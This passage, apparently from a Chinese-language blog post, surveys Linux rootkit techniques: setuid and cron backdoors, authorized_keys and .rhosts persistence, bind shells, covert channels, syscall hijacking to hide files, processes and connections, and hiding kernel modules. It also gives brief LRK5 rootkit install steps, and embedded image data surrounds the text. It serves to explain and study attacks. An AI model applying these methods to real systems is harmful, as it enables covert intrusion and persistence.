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" alt="" width="539" height="373" />

目前已经存在的rootkit攻击思路

. 后门程序使本地用户取得root权限
) 设置uid程序
黑客在一些文件系统理放一些设置uid脚本程序。无论何时它们只要执行这个程序它们就会成为root,关于uid权限标志位相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3862652.html
) 系统木马程序
黑客替换一些系统程序,如"login"程序。因此, 只要满足一定的条件,那些程序就会给黑客最高权限
) cron后门
黑客在cron增加或修改一些任务,在某个特定的时间程序运行,他们就可以获得最高权限 . 后门程序给远程用户以最高访问权限
) ".rhost"文件
".rhosts"文件是用户在linux/unix下用于建立双机互信的配置文件。一旦"黑客帐号"被加入某个用户的.rhosts文件里,任何人在任何地方都可以用这个账号来登陆进来而不需要密码
) ssh认证密钥
黑客把他自己的公共密钥放到目标机器的ssh配置文件"authorized_keys"里, 他可以用该账号来访问机器而不需要密码
) bind shell
3.1) 黑客绑定一个shell到一个特定的tcp端口。任何人telnet这个端口都可以获得交互的shell
3.2) 基于udp的后门通道
3.3) 未连接的tcp,即任意端口激活的(wnps)的后门rootkit
3.4) 基于icmp协议的隐蔽通道
) 木马服务程序
任何打开的服务都可以成为木马来为远程用户提供访问权限。例如:
4.1) 利用inetd服务在一个特定的端口来创建一个bind shell
4.2) 通过ssh守护进程提供访问途径 . 隐藏文件
入侵者需要做如下事情:
) 替换一些系统常用命令如"ls", "du", "fsck"
这可以通过重定向可执行文件技术达到,通过截获sys_execve(),无论何时系统尝试去执行"ls"程序的时候, 它都会被重定向到入侵者给定的其他程序。
) 在底层方面,他们通过把硬盘里的一些区域标记为坏块并把它的文件放在那里
) 或者把一些文件放入引导块里
) read系统调用劫持 . 隐藏进程
) 替换"ps"、"top"程序
) 修改/proc下的内核变量
) 劫持read、getdents64系统调用,直接对指定进程进行过滤 . 隐藏网络连接状态
) 修改/proc/net
) 对netfilter提供的回调点注册过滤函数 . 隐藏sniffer
) 隐藏网络接口的杂拨模式
通过替换劫持sys_ioctl()系统调用实现 . 隐藏rootkit模块本身
) 隐藏lkm本身
一个优秀的lkm程序必须很好地隐藏它自己。系统里的lkm是用单向链表连接起来的, 为了隐藏lkm本身我们必须把它从链表中移走以至于lsmod这样的命令不能把它显示出来。
) 隐藏符号表
通常的lkm中的函数将会被导出以至于其他模块可以使用它。因为我们是入侵者, 所以隐藏这些符号是必须的。幸运的是, 有一个宏可以供我们使用:"EXPORT_NO_SYMBOLS"。 把这个宏放在lkm的最后可以防止任何符号的输出

Relevant Link:

http://www.cnblogs.com/LittleHann/p/3870974.html
http://staronmytop.blog.51cto.com/6366057/1119475
http://www.xfocus.net/articles/200104/159.html

2. LRK5 Rootkit

0x1: Installation && Usage

download sourcecode
./configure -n
make all install

0x2: Features

通过替换用户态(ring3)的指令文件(即/bin、/sbin、/usr/bin下的默认指令对应的可执行文件)来实现后门rootkit的目的,这是一种指令劫持的思路

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAANEAAAJdCAIAAAAjtQUyAAAfSElEQVR4nO2d25Mc5XmH99/q6+BKOamoUlSKi2AwCWknriQ2ZedkV5HYTko2SdGl8k0qlZJvUriSlGSQB5m10FriDDJgbIM0CBArJIGADUh73p3eVS5mpvs79mEOb3/d8zzFxWxPd89Y8/P3dc+8z/cupQCyLDX9BmDhIHMgDZkDacgcSEPmQBoyB9KQOZCGzIE0ZA6kIXMgDZkDacgcSEPmQJoamdtd+8nWR8nm9UfXVx+5feUHt9975PN3jn729j+vXfrOJ289/Onb/7Z+89z83ih0huqZG2x99Ohg+9TB4OPNT/7j/97//ruvfWt/6+zB/rPD//Y2f3bzre/P8Z1CV6gxzm199Ohg58nBzpN37qR37qSrv/zqWy/+0/ZnP0n3zg12nt7ffOr6a9+Y3xuFzjBJ5gY7T965c+e9l//s1+f/4cZvvru/+dTe+qmdz0988OpDnkP7SbQU95ybo6Q/2TuHtlIncx+qmUsvP//lN37xN9d+9fDO5ye21h7b+PhHVy98zXMomYOcGpnbuPGvw8DtbT1xeLB56fwfv372a1df/buNj3+0fuPfb31w7P1X/tJzqCdzsJDUyNz6tR8MA7dz+3/T/Ztvrtzz2s//YvWVh259cOyzK4+sXf7eB69+/ZN3H3MdSuYgp0bmbq3+yzBwm2v/tX37xd+cufuXP/uTKy9+de3y9z659O2bv/3mh2/89bsvxK5Dh5nrxUsjRvnLo9iLl6IkGT3PdNttamTusyvfHQbu1kf/uXb1h288deSVn9777rMPDtN2/bWvrK2tvfPcg65D+0mUJy3txaPHWubGz3OR13VqZG7tnYezwN1855HXn/y9lx//o8vnvnT9ta9cu/DA1ZfuXVtbu/zsn7oONebW8Z/GONfPniVzXaZG5j7ufysL3PU3v/PqT3/3xRNH3j57z9WX7l194Z73n7t7bW3t7WcecB1K5iCnRuY+evNvs8Ctvv73F574wvP/88X+mbvff+7uK88cufLMkft+/l7//P2uQ/tJlE+t+R9kbiGpkbnrv34oC9x7r3z